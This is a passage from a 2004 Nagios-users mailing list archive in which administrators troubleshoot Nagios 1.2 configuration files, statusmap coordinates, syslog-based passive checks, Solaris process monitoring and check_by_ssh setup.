rescheduled. This seems to be a rare # problem and should not happen under normal circumstances. # If you have problems with service checks never getting # rescheduled, you might want to try enabling this option. # Values: 1 = enable checks, 0 = disable checks check_for_orphaned_services=0 # SERVICE FRESHNESS CHECK OPTION # This option determines whether or not Nagios will periodically # check the "freshness" of service results. Enabling this option # is useful for ensuring passive checks are received in a timely # manner. # Values: 1 = enabled freshness checking, 0 = disable freshness checking check_service_freshness=1 # FRESHNESS CHECK INTERVAL # This setting determines how often (in seconds) Nagios will # check the "freshness" of service check results. If you have # disabled service freshness checking, this option has no effect. freshness_check_interval=60 # AGGREGATED STATUS UPDATES # This option determines whether or not Nagios will # aggregate updates of host, service, and program status # data. Normally, status data is updated immediately when # a change occurs. This can result in high CPU loads if # you are monitoring a lot of services. If you want Nagios # to only refresh status data every few seconds, disable # this option. # Values: 1 = enable aggregate updates, 0 = disable aggregate updates aggregate_status_updates=1 # AGGREGATED STATUS UPDATE INTERVAL # Combined with the aggregate_status_updates option, # this option determines the frequency (in seconds!) that # Nagios will periodically dump program, host, and # service status data. If you are not using aggregated # status data updates, this option has no effect. status_update_interval=15 # FLAP DETECTION OPTION # This option determines whether or not Nagios will try # and detect hosts and services that are "flapping". # Flapping occurs when a host or service changes between # states too frequently. When Nagios detects that a # host or service is flapping, it will temporarily supress # notifications for that host/service until it stops # flapping. Flap detection is very experimental, so read # the HTML documentation before enabling this feature! # Values: 1 = enable flap detection # 0 = disable flap detection (default) enable_flap_detection=0 # FLAP DETECTION THRESHOLDS FOR HOSTS AND SERVICES # Read the HTML documentation on flap detection for # an explanation of what this option does. This option # has no effect if flap detection is disabled. low_service_flap_threshold=5.0 high_service_flap_threshold=20.0 low_host_flap_threshold=5.0 high_host_flap_threshold=20.0 # DATE FORMAT OPTION # This option determines how short dates are displayed. Valid options # include: # us (MM-DD-YYYY HH:MM:SS) # euro (DD-MM-YYYY HH:MM:SS) # iso8601 (YYYY-MM-DD HH:MM:SS) # strict-iso8601 (YYYY-MM-DDTHH:MM:SS) # date_format=us # ILLEGAL OBJECT NAME CHARACTERS # This options allows you to specify illegal characters that cannot # be used in host names, service descriptions, or names of other # object types. illegal_object_name_chars=`~!$%^&*|'"<>?,()= # ILLEGAL MACRO OUTPUT CHARACTERS # This options allows you to specify illegal characters that are # stripped from macros before being used in notifications, event # handlers, etc. This DOES NOT affect macros used in service or # host check commands. # The following macros are stripped of the characters you specify: # $OUTPUT$, $PERFDATA$ illegal_macro_output_chars=`~$&|'"<> # ADMINISTRATOR EMAIL ADDRESS # The email address of the administrator of *this* machine (the one # doing the monitoring). Nagios never uses this value itself, but # you can access this value by using the $ADMINEMAIL$ macro in your # notification commands. admin_email=nagios # ADMINISTRATOR PAGER NUMBER/ADDRESS # The pager number/address for the administrator of *this* machine. # Nagios never uses this value itself, but you can access this # value by using the $ADMINPAGER$ macro in your notification # commands. admin_pager=pagenagios # EOF (End of file) -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From jeff at bofus.org Sat Mar 20 15:05:42 2004 From: jeff at bofus.org (Jeffery P. Humes) Date: Sat, 20 Mar 2004 08:05:42 -0600 Subject: nagios does not read .cfg files In-Reply-To: <1079789615.9788.11.camel@pitc> References: <1079789615.9788.11.camel@pitc> Message-ID: <405C4FB6.7030907@bofus.org> An HTML attachment was scrubbed... URL: From peter at mcalpinecomputing.net Sat Mar 20 16:04:13 2004 From: peter at mcalpinecomputing.net (Peter McAlpine) Date: Sat, 20 Mar 2004 10:04:13 -0500 Subject: nagios does not read .cfg files In-Reply-To: <405C4FB6.7030907@bofus.org> References: <1079789615.9788.11.camel@pitc> <405C4FB6.7030907@bofus.org> Message-ID: <1079795053.9788.17.camel@pitc> # /usr/sbin/nagios -v /etc/nagios/nagios.cfg Nagios 1.2 Copyright (c) 1999-2004 Ethan Galstad (nagios at nagios.org) Last Modified: 02-02-2004 License: GPL Reading configuration data... Running pre-flight check on configuration data... Checking services... Error: There are no services defined! Checked 0 services. Checking hosts... Error: There are no hosts defined! Checked 0 hosts. Checking host groups... Error: There are no host groups defined! Checked 0 host groups. Checking contacts... Error: There are no contacts defined! Checked 0 contacts. Checking contact groups... Error: There are no contact groups defined! Checked 0 contact groups. Checking service escalations... Checked 0 service escalations. Checking host group escalations... Checked 0 host group escalations. Checking service dependencies... Checked 0 service dependencies. Checking host escalations... Checked 0 host escalations. Checking host dependencies... Checked 0 host dependencies. Checking commands... Checked 0 commands. Checking time periods... Checked 0 time periods. Checking for circular paths between hosts... Checking for circular service execution dependencies... Checking global event handlers... Checking obsessive compulsive service processor command... Checking misc settings... Total Warnings: 0 Total Errors: 5 ***> One or more problems was encountered while running the pre-flight check... Check your configuration file(s) to ensure that they contain valid directives and data defintions. If you are upgrading from a previous version of Nagios, you should be aware that some variables/definitions may have been removed or modified in this version. Make sure to read the HTML documentation on the main and host config files, as well as the 'Whats New' section to find out what has changed. On Sat, 2004-03-20 at 09:05, Jeffery P. Humes wrote: > have you tried running the nagios flight check? > > /path/to/nagios -v /path/to/nagios.cfg > > -Jeff > > > Peter McAlpine wrote: > > Hello, > > > > I was very exited to come across nagios is my travels. I can see it > > getting a lot of use once it's configured. I've come up against a brick > > wall, though. > > > > I have installed the debian nagios-mysql and nagios packages, and made a > > couple of configuration changes to the templates, but nagios does not > > parse any of the files referenced by the cfg_file option! I've attached > > the default nagios.cfg, and the services.cfg file that I'm using and > > would appreciated some input. > > > > Thanks, > > Peter > > > > > > ____________________________________________________________________ > > define service{ > > ; The plain old pitc service! > > name ping-template > > active_checks_enabled 1 ; Active service checks are disabled > > passive_checks_enabled 0 ; Passive service checks are enabled/disabled > > parallelize_check 1 ; Active service checks should be parallelized > > ; (disabling this can lead to major performance problems) > > obsess_over_service 1 ; We should obsess over this service (if necessary) > > check_freshness 0 ; Default is to NOT check service 'freshness' > > notifications_enabled 0 ; Service notifications are disabled > > event_handler_enabled 0 ; Service event handler is disabled > > flap_detection_enabled 0 ; Flap detection is disabled > > process_perf_data 1 ; Process performance data > > retain_status_information 1 ; Retain status information across program restarts > > retain_nonstatus_information 1 ; Retain non-status information across program restarts > > > > register 1 > > } > > > > # da ping service > > define service{ > > use ping-template ; Name of service template to use > > > > host_name pitc > > service_description PING > > is_volatile 0 > > check_period 24x7 > > max_check_attempts 3 > > normal_check_interval 5 > > retry_check_interval 1 > > contact_groups PITCadmin > > notification_interval 240 > > notification_period 24x7 > > notification_options c,r > > check_command check_ping!100.0,20%!500.0,60% > > } > > > > > > > > ____________________________________________________________________ > > ############################################################################## > > # > > # NAGIOS.CFG - Sample Main Config File for Nagios > > # > > # Read the documentation for more information on this configuration > > # file. I've provided some comments here, but things may not be so > > # clear without further explanation. > > # > > # Last Modified: 07-04-2002 > > # > > ############################################################################## > > > > # This is the main log file where service and host events are logged > > # for historical purposes. This should be the first option specified > > # in the config file!!! > > > > log_file=/var/log/nagios/nagios.log > > > > > > > > # OBJECT CONFIGURATION FILE(S) > > # This is the configuration file in which you define hosts, host > > # groups, contacts, contact groups, services, etc. I guess it would > > # be better called an object definition file, but for historical > > # reasons it isn't. You can split object definitions into several > > # different config files by using multiple cfg_file statements here. > > # Nagios will read and process all the config files you define. > > # This can be very useful if you want to keep command definitions > > # separate from host and contact definitions... > > > > # Plugin commands (service and host check commands) > > # Arguments are likely to change between different releases of the > > # plugins, so you should use the same config file provided with the > > # plugin release rather than the one provided with Nagios. > > cfg_file=/etc/nagios/checkcommands.cfg > > > > # Misc commands (notification and event handler commands, etc) > > cfg_file=/etc/nagios/misccommands.cfg > > > > # You can split other types of object definitions across several > > # config files if you wish (as done here), or keep them all in a > > # single config file. > > > > cfg_file=/etc/nagios/services.cfg > > cfg_file=/etc/nagios/contactgroups.cfg > > cfg_file=/etc/nagios/contacts.cfg > > cfg_file=/etc/nagios/hostgroups.cfg > > cfg_file=/etc/nagios/hosts.cfg > > cfg_file=/etc/nagios/timeperiods.cfg > > > > > > > > # RESOURCE FILE > > # This is an optional resource file that contains $USERx$ macro > > # definitions. Multiple resource files can be specified by using > > # multiple resource_file definitions. The CGIs will not attempt to > > # read the contents of resource files, so information that is > > # considered to be sensitive (usernames, passwords, etc) can be > > # defined as macros in this file and restrictive permissions (600) > > # can be placed on this file. > > > > resource_file=/etc/nagios/resource.cfg > > > > > > > > # STATUS FILE > > # This is where the current status of all monitored services and > > # hosts is stored. Its contents are read and processed by the CGIs. > > # The contentsof the status file are deleted every time Nagios > > # restarts. > > > > status_file=/var/log/nagios/status.log > > > > > > > > # NAGIOS USER > > # This determines the effective user that Nagios should run as. > > # You can either supply a username or a UID. > > > > nagios_user=nagios > > > > > > > > # NAGIOS GROUP > > # This determines the effective group that Nagios should run as. > > # You can either supply a group name or a GID. > > > > nagios_group=nagios > > > > > > > > # EXTERNAL COMMAND OPTION > > # This option allows you to specify whether or not Nagios should check > > # for external commands (in the command file defined below). By default > > # Nagios will *not* check for external commands, just to be on the > > # cautious side. If you want to be able to use the CGI command interface > > # you will have to enable this. Setting this value to 0 disables command > > # checking (the default), other values enable it. > > > > check_external_commands=1 > > > > > > > > # EXTERNAL COMMAND CHECK INTERVAL > > # This is the interval at which Nagios should check for external commands. > > # This value works of the interval_length you specify later. If you leave > > # that at its default value of 60 (seconds), a value of 1 here will cause > > # Nagios to check for external commands every minute. If you specify a > > # number followed by an "s" (i.e. 15s), this will be interpreted to mean > > # actual seconds rather than a multiple of the interval_length variable. > > # Note: In addition to reading the external command file at regularly > > # scheduled intervals, Nagios will also check for external commands after > > # event handlers are executed. > > # NOTE: Setting this value to -1 causes Nagios to check the external > > # command file as often as possible. > > > > #command_check_interval=1 > > #command_check_interval=15s > > command_check_interval=-1 > > > > > > > > # EXTERNAL COMMAND FILE > > # This is the file that Nagios checks for external command requests. > > # It is also where the command CGI will write commands that are submitted > > # by users, so it must be writeable by the user that the web server > > # is running as (usually 'nobody'). Permissions should be set at the > > # directory level instead of on the file, as the file is deleted every > > # time its contents are processed. > > > > command_file=/var/log/nagios/rw/nagios.cmd > > > > > > > > # COMMENT FILE > > # This is the file that Nagios will use for storing host and service > > # comments. > > > > comment_file=/var/log/nagios/comment.log > > > > > > > > # DOWNTIME FILE > > # This is the file that Nagios will use for storing host and service > > # downtime data. > > > > downtime_file=/var/log/nagios/downtime.log > > > > > > > > # LOCK FILE > > # This is the lockfile that Nagios will use to store its PID number > > # in when it is running in daemon mode. > > > > lock_file=/var/log/nagios/nagios.lock > > > > > > > > # TEMP FILE > > # This is a temporary file that is used as scratch space when Nagios > > # updates the status log, cleans the comment file, etc. This file > > # is created, used, and deleted throughout the time that Nagios is > > # running. > > > > temp_file=/var/log/nagios/nagios.tmp > > > > > > > > # LOG ROTATION METHOD > > # This is the log rotation method that Nagios should use to rotate > > # the main log file. Values are as follows.. > > # n = None - don't rotate the log > > # h = Hourly rotation (top of the hour) > > # d = Daily rotation (midnight every day) > > # w = Weekly rotation (midnight on Saturday evening) > > # m = Monthly rotation (midnight last day of month) > > > > log_rotation_method=d > > > > > > > > # LOG ARCHIVE PATH > > # This is the directory where archived (rotated) log files should be > > # placed (assuming you've chosen to do log rotation). > > > > log_archive_path=/var/log/nagios/archives > > > > > > > > # LOGGING OPTIONS > > # If you want messages logged to the syslog facility, as well as the > > # NetAlarm log file set this option to 1. If not, set it to 0. > > > > use_syslog=1 > > > > > > > > # NOTIFICATION LOGGING OPTION > > # If you don't want notifications to be logged, set this value to 0. > > # If notifications should be logged, set the value to 1. > > > > log_notifications=1 > > > > > > > > # SERVICE RETRY LOGGING OPTION > > # If you don't want service check retries to be logged, set this value > > # to 0. If retries should be logged, set the value to 1. > > > > log_service_retries=1 > > > > > > > > # HOST RETRY LOGGING OPTION > > # If you don't want host check retries to be logged, set this value to > > # 0. If retries should be logged, set the value to 1. > > > > log_host_retries=1 > > > > > > > > # EVENT HANDLER LOGGING OPTION > > # If you don't want host and service event handlers to be logged, set > > # this value to 0. If event handlers should be logged, set the value > > # to 1. > > > > log_event_handlers=1 > > > > > > > > # INITIAL STATES LOGGING OPTION > > # If you want Nagios to log all initial host and service states to > > # the main log file (the first time the service or host is checked) > > # you can enable this option by setting this value to 1. If you > > # are not using an external application that does long term state > > # statistics reporting, you do not need to enable this option. In > > # this case, set the value to 0. > > > > log_initial_states=0 > > > > > > > > # EXTERNAL COMMANDS LOGGING OPTION > > # If you don't want Nagios to log external commands, set this value > > # to 0. If external commands should be logged, set this value to 1. > > # Note: This option does not include logging of passive service > > # checks - see the option below for controlling whether or not > > # passive checks are logged. > > > > log_external_commands=1 > > > > > > > > # PASSIVE SERVICE CHECKS LOGGING OPTION > > # If you don't want Nagios to log passive service checks, set this > > # value to 0. If passive service checks should be logged, set this > > # value to 1. > > > > log_passive_service_checks=1 > > > > > > > > # GLOBAL HOST AND SERVICE EVENT HANDLERS > > # These options allow you to specify a host and service event handler > > # command that is to be run for every host or service state change. > > # The global event handler is executed immediately prior to the event > > # handler that you have optionally specified in each host or > > # service definition. The command argument is the short name of a > > # command definition that you define in your host configuration file. > > # Read the HTML docs for more information. > > > > #global_host_event_handler=somecommand > > #global_service_event_handler=somecommand > > > > > > > > # INTER-CHECK DELAY METHOD > > # This is the method that Nagios should use when initially > > # "spreading out" service checks when it starts monitoring. The > > # default is to use smart delay calculation, which will try to > > # space all service checks out evenly to minimize CPU load. > > # Using the dumb setting will cause all checks to be scheduled > > # at the same time (with no delay between them)! This is not a > > # good thing for production, but is useful when testing the > > # parallelization functionality. > > # n = None - don't use any delay between checks > > # d = Use a "dumb" delay of 1 second between checks > > # s = Use "smart" inter-check delay calculation > > # x.xx = Use an inter-check delay of x.xx seconds > > > > inter_check_delay_method=s > > > > > > > > # SERVICE CHECK INTERLEAVE FACTOR > > # This variable determines how service checks are interleaved. > > # Interleaving the service checks allows for a more even > > # distribution of service checks and reduced load on remote > > # hosts. Setting this value to 1 is equivalent to how versions > > # of Nagios previous to 0.0.5 did service checks. Set this > > # value to s (smart) for automatic calculation of the interleave > > # factor unless you have a specific reason to change it. > > # s = Use "smart" interleave factor calculation > > # x = Use an interleave factor of x, where x is a > > # number greater than or equal to 1. > > > > service_interleave_factor=s > > > > > > > > # MAXIMUM CONCURRENT SERVICE CHECKS > > # This option allows you to specify the maximum number of > > # service checks that can be run in parallel at any given time. > > # Specifying a value of 1 for this variable essentially prevents > > # any service checks from being parallelized. A value of 0 > > # will not restrict the number of concurrent checks that are > > # being executed. > > > > max_concurrent_checks=0 > > > > > > > > # SERVICE CHECK REAPER FREQUENCY > > # This is the frequency (in seconds!) that Nagios will process > > # the results of services that have been checked. > > > > service_reaper_frequency=10 > > > > > > > > # SLEEP TIME > > # This is the number of seconds to sleep between checking for system > > # events and service checks that need to be run. I would recommend > > # *not* changing this from its default value of 1 second. > > > > sleep_time=1 > > > > > > > > # TIMEOUT VALUES > > # These options control how much time Nagios will allow various > > # types of commands to execute before killing them off. Options > > # are available for controlling maximum time allotted for > > # service checks, host checks, event handlers, notifications, the > > # ocsp command, and performance data commands. All values are in > > # seconds. > > > > service_check_timeout=60 > > host_check_timeout=30 > > event_handler_timeout=30 > > notification_timeout=30 > > ocsp_timeout=5 > > perfdata_timeout=5 > > > > > > > > # RETAIN STATE INFORMATION > > # This setting determines whether or not Nagios will save state > > # information for services and hosts before it shuts down. Upon > > # startup Nagios will reload all saved service and host state > > # information before starting to monitor. This is useful for > > # maintaining long-term data on state statistics, etc, but will > > # slow Nagios down a bit when it (re)starts. Since its only > > # a one-time penalty, I think its well worth the additional > > # startup delay. > > > > retain_state_information=1 > > > > > > > > # STATE RETENTION FILE > > # This is the file that Nagios should use to store host and > > # service state information before it shuts down. The state > > # information in this file is also read immediately prior to > > # starting to monitor the network when Nagios is restarted. > > # This file is used only if the preserve_state_information > > # variable is set to 1. > > > > state_retention_file=/var/log/nagios/status.sav > > > > > > > > # RETENTION DATA UPDATE INTERVAL > > # This setting determines how often (in minutes) that Nagios > > # will automatically save retention data during normal operation. > > # If you set this value to 0, Nagios will not save retention > > # data at regular interval, but it will still save retention > > # data before shutting down or restarting. If you have disabled > > # state retention, this option has no effect. > > > > retention_update_interval=60 > > > > > > > > # USE RETAINED PROGRAM STATE > > # This setting determines whether or not Nagios will set > > # program status variables based on the values saved in the > > # retention file. If you want to use retained program status > > # information, set this value to 1. If not, set this value > > # to 0. > > > > use_retained_program_state=0 > > > > > > > > # INTERVAL LENGTH > > # This is the seconds per unit interval as used in the > > # host/contact/service configuration files. Setting this to 60 means > > # that each interval is one minute long (60 seconds). Other settings > > # have not been tested much, so your mileage is likely to vary... > > > > interval_length=60 > > > > > > > > # AGRESSIVE HOST CHECKING OPTION > > # If you don't want to turn on agressive host checking features, set > > # this value to 0 (the default). Otherwise set this value to 1 to > > # enable the agressive check option. Read the docs for more info > > # on what agressive host check is or check out the source code in > > # base/checks.c > > > > use_agressive_host_checking=0 > > > > > > > > # SERVICE CHECK EXECUTION OPTION > > # This determines whether or not Nagios will actively execute > > # service checks when it initially starts. If this option is > > # disabled, checks are not actively made, but Nagios can still > > # receive and process passive check results that come in. Unless > > # you're implementing redundant hosts or have a special need for > > # disabling the execution of service checks, leave this enabled! > > # Values: 1 = enable checks, 0 = disable checks > > > > execute_service_checks=1 > > > > > > > > # PASSIVE CHECK ACCEPTANCE OPTION > > # This determines whether or not Nagios will accept passive > > # service checks results when it initially (re)starts. > > # Values: 1 = accept passive checks, 0 = reject passive checks > > > > accept_passive_service_checks=1 > > > > > > > > # NOTIFICATIONS OPTION > > # This determines whether or not Nagios will sent out any host or > > # service notifications when it is initially (re)started. > > # Values: 1 = enable notifications, 0 = disable notifications > > > > enable_notifications=1 > > > > > > > > # EVENT HANDLER USE OPTION > > # This determines whether or not Nagios will run any host or > > # service event handlers when it is initially (re)started. Unless > > # you're implementing redundant hosts, leave this option enabled. > > # Values: 1 = enable event handlers, 0 = disable event handlers > > > > enable_event_handlers=1 > > > > > > > > # PROCESS PERFORMANCE DATA OPTION > > # This determines whether or not Nagios will process performance > > # data returned from service and host checks. If this option is > > # enabled, host performance data will be processed using the > > # host_perfdata_command (defined below) and service performance > > # data will be processed using the service_perfdata_command (also > > # defined below). Read the HTML docs for more information on > > # performance data. > > # Values: 1 = process performance data, 0 = do not process performance data > > > > process_performance_data=0 > > > > > > > > # HOST AND SERVICE PERFORMANCE DATA PROCESSING COMMANDS > > # These commands are run after every host and service check is > > # performed. These commands are executed only if the > > # enable_performance_data option (above) is set to 1. The command > > # argument is the short name of a command definition that you > > # define in your host configuration file. Read the HTML docs for > > # more information on performance data. > > > > #host_perfdata_command=process-host-perfdata > > #service_perfdata_command=process-service-perfdata > > > > > > > > # OBSESS OVER SERVICE CHECKS OPTION > > # This determines whether or not Nagios will obsess over service > > # checks and run the ocsp_command defined below. Unless you're > > # planning on implementing distributed monitoring, do not enable > > # this option. Read the HTML docs for more information on > > # implementing distributed monitoring. > > # Values: 1 = obsess over services, 0 = do not obsess (default) > > > > obsess_over_services=0 > > > > > > > > # OBSESSIVE COMPULSIVE SERVICE PROCESSOR COMMAND > > # This is the command that is run for every service check that is > > # processed by Nagios. This command is executed only if the > > # obsess_over_service option (above) is set to 1. The command > > # argument is the short name of a command definition that you > > # define in your host configuration file. Read the HTML docs for > > # more information on implementing distributed monitoring. > > > > #ocsp_command=somecommand > > > > > > > > # ORPHANED SERVICE CHECK OPTION > > # This determines whether or not Nagios will periodically > > # check for orphaned services. Since service checks are not > > # rescheduled until the results of their previous execution > > # instance are processed, there exists a possibility that some > > # checks may never get rescheduled. This seems to be a rare > > # problem and should not happen under normal circumstances. > > # If you have problems with service checks never getting > > # rescheduled, you might want to try enabling this option. > > # Values: 1 = enable checks, 0 = disable checks > > > > check_for_orphaned_services=0 > > > > > > > > # SERVICE FRESHNESS CHECK OPTION > > # This option determines whether or not Nagios will periodically > > # check the "freshness" of service results. Enabling this option > > # is useful for ensuring passive checks are received in a timely > > # manner. > > # Values: 1 = enabled freshness checking, 0 = disable freshness checking > > > > check_service_freshness=1 > > > > > > > > # FRESHNESS CHECK INTERVAL > > # This setting determines how often (in seconds) Nagios will > > # check the "freshness" of service check results. If you have > > # disabled service freshness checking, this option has no effect. > > > > freshness_check_interval=60 > > > > > > > > # AGGREGATED STATUS UPDATES > > # This option determines whether or not Nagios will > > # aggregate updates of host, service, and program status > > # data. Normally, status data is updated immediately when > > # a change occurs. This can result in high CPU loads if > > # you are monitoring a lot of services. If you want Nagios > > # to only refresh status data every few seconds, disable > > # this option. > > # Values: 1 = enable aggregate updates, 0 = disable aggregate updates > > > > aggregate_status_updates=1 > > > > > > > > # AGGREGATED STATUS UPDATE INTERVAL > > # Combined with the aggregate_status_updates option, > > # this option determines the frequency (in seconds!) that > > # Nagios will periodically dump program, host, and > > # service status data. If you are not using aggregated > > # status data updates, this option has no effect. > > > > status_update_interval=15 > > > > > > > > # FLAP DETECTION OPTION > > # This option determines whether or not Nagios will try > > # and detect hosts and services that are "flapping". > > # Flapping occurs when a host or service changes between > > # states too frequently. When Nagios detects that a > > # host or service is flapping, it will temporarily supress > > # notifications for that host/service until it stops > > # flapping. Flap detection is very experimental, so read > > # the HTML documentation before enabling this feature! > > # Values: 1 = enable flap detection > > # 0 = disable flap detection (default) > > > > enable_flap_detection=0 > > > > > > > > # FLAP DETECTION THRESHOLDS FOR HOSTS AND SERVICES > > # Read the HTML documentation on flap detection for > > # an explanation of what this option does. This option > > # has no effect if flap detection is disabled. > > > > low_service_flap_threshold=5.0 > > high_service_flap_threshold=20.0 > > low_host_flap_threshold=5.0 > > high_host_flap_threshold=20.0 > > > > > > > > # DATE FORMAT OPTION > > # This option determines how short dates are displayed. Valid options > > # include: > > # us (MM-DD-YYYY HH:MM:SS) > > # euro (DD-MM-YYYY HH:MM:SS) > > # iso8601 (YYYY-MM-DD HH:MM:SS) > > # strict-iso8601 (YYYY-MM-DDTHH:MM:SS) > > # > > > > date_format=us > > > > > > > > # ILLEGAL OBJECT NAME CHARACTERS > > # This options allows you to specify illegal characters that cannot > > # be used in host names, service descriptions, or names of other > > # object types. > > > > illegal_object_name_chars=`~!$%^&*|'"<>?,()= > > > > > > > > # ILLEGAL MACRO OUTPUT CHARACTERS > > # This options allows you to specify illegal characters that are > > # stripped from macros before being used in notifications, event > > # handlers, etc. This DOES NOT affect macros used in service or > > # host check commands. > > # The following macros are stripped of the characters you specify: > > # $OUTPUT$, $PERFDATA$ > > > > illegal_macro_output_chars=`~$&|'"<> > > > > > > > > # ADMINISTRATOR EMAIL ADDRESS > > # The email address of the administrator of *this* machine (the one > > # doing the monitoring). Nagios never uses this value itself, but > > # you can access this value by using the $ADMINEMAIL$ macro in your > > # notification commands. > > > > admin_email=nagios > > > > > > > > # ADMINISTRATOR PAGER NUMBER/ADDRESS > > # The pager number/address for the administrator of *this* machine. > > # Nagios never uses this value itself, but you can access this > > # value by using the $ADMINPAGER$ macro in your notification > > # commands. > > > > admin_pager=pagenagios > > > > > > > > # EOF (End of file) > > > > > ------------------------------------------------------- This SF.Net > email is sponsored by: IBM Linux Tutorials Free Linux tutorial > presented by Daniel Robbins, President and CEO of GenToo technologies. > Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ Nagios-users mailing > list Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please > include Nagios version, plugin version (-v) and OS when reporting any > issue. ::: Messages without supporting info will risk being sent to > /dev/null -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From vincent at ahoup.net Sat Mar 20 17:05:46 2004 From: vincent at ahoup.net (Vincent Derrien) Date: Sat, 20 Mar 2004 17:05:46 +0100 Subject: Problem with statusmap coordonates Message-ID: <200403201705.47004.vincent@ahoup.net> Hello, When I want to display the statusmap with all layou method, nagios say that I've not indicate any coordonate. How can I solve this problem ? Thanks in advance. -- Vincent Derrien vincent at ahoup.net ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From brian.murphy at gmx.net Sun Mar 21 07:13:28 2004 From: brian.murphy at gmx.net (Brian Murphy) Date: Sun, 21 Mar 2004 07:13:28 +0100 (MET) Subject: system log (syslog) monitoring Message-ID: <25187.1079849608@www61.gmx.net> I have some system log (syslog) monitoring in place using syslog-ng, running filters and passing the records onto scripts for further processing before passing into passive checks in Nagios. Works well, I generate the messages from remote systems and can tag them in a way that makes it easy to find them on the monitoring system. Means that I can get secured systems to send performance metrics without opening inbound ports, syslog outbound only. Using freshness checking I can keep more of an active eye on the systems too. If you know what you are looking for in a syslog it is easy to alert if you find exactly that. There tends to be a lot of noise with the sugnal though. Brian -- +++ NEU bei GMX und erstmalig in Deutschland: T?V-gepr?fter Virenschutz +++ 100% Virenerkennung nach Wildlist. Infos: http://www.gmx.net/virenschutz ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From charles at bueche.ch Sun Mar 21 17:13:18 2004 From: charles at bueche.ch (Charles Bueche) Date: Sun, 21 Mar 2004 17:13:18 +0100 Subject: Monitoring Long process names on Solaris In-Reply-To: <481EAEA6BAED9A4EAF26BA149197AA3E87F631@office1.online.krone.at> References: <481EAEA6BAED9A4EAF26BA149197AA3E87F631@office1.online.krone.at> Message-ID: <20040321171318.581ab66a@bluez.bueche.ch> On Fri, 19 Mar 2004 16:05:28 +0100 "Helmut Januschka" wrote: > on heavy load systems we are using > > grep "" /proc/*/cmdline > > instead of ps auxww > uuhh ? no cmdline in /proc/*/. Are you sure you talk about Solaris ? Charles ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From charles at bueche.ch Sun Mar 21 17:10:52 2004 From: charles at bueche.ch (Charles Bueche) Date: Sun, 21 Mar 2004 17:10:52 +0100 Subject: Monitoring Long process names on Solaris In-Reply-To: <405B0A78.9050504@exponential-e.com> References: <20040316222421.0cec33e2@bluez.bueche.ch> <20040317074406.5f1a9876@bluez.bueche.ch> <405B0A78.9050504@exponential-e.com> Message-ID: <20040321171052.77c3bd01@bluez.bueche.ch> Hi, Thanks for your hints, here is my feedback : On Fri, 19 Mar 2004 14:58:00 +0000 Jim Mozley wrote: > > well, for some things, you have no choice. We do it that way (not in > > Nagios) to check for processes that must run and have ugly long > > names(eg WLS instances). The right way is to run it once every 5 > > minutes and look for all processes you want (not running /usr/ucb/ps > > auxwww | grep pname for each process). > > Just a thought, have you tried using pgrep? Don't know if it will help > get around the long names. not an option for two reasons : - my stuff must run on Solaris 2.6, where p-commands aren't there - I do the ps only once, filling a table. I then scan the table for stuff that must be there and stuff that are forbidden. The whole is done in Perl. This is why the performance issue is not that bad. Of course, doing a "/usr/ucb/ps auxwww | grep -v process_name | grep -v grep" for each process_name would be indecent. > I'm using perl's proc::processtable you > might get some milage from this. My monitoring doesn't run as root (well, I have some entries in sudoers for Veritas broken tools and the like) so proc::processstable will not work as it needs root to get the full ptable. It would however be nice and cross-platform. BTW : my monitoring at this customer site isn't done with Nagios, as they have decided to put a few millions $ in a terminally broken monitoring framework. The customer and framework names will remain unspecified here :-) Charles -- Charles Bueche sand, snow, wave, wind and net -surfer ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From neil-on-nagios at restricted.dyndns.org Sun Mar 21 21:03:51 2004 From: neil-on-nagios at restricted.dyndns.org (Neil) Date: Sun, 21 Mar 2004 14:03:51 -0600 Subject: check by ssh Message-ID: <20040321200351.45095.qmail@restricted.dyndns.org> Hey guys, I would like to use check_by_ssh to gather information from a remote ssh unix server. I know how to generate keys using ssh-keygen and applying the pub file to the remote. However, I don't like doing this over and over again for 100 different unix servers. Is there a way for us to use check_by_ssh plugin where in we can supply the username and password on the command line? I know the security loophole of this config but it will make my life easier. Any help will be greatly appreciated. Thanks. Neil ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net 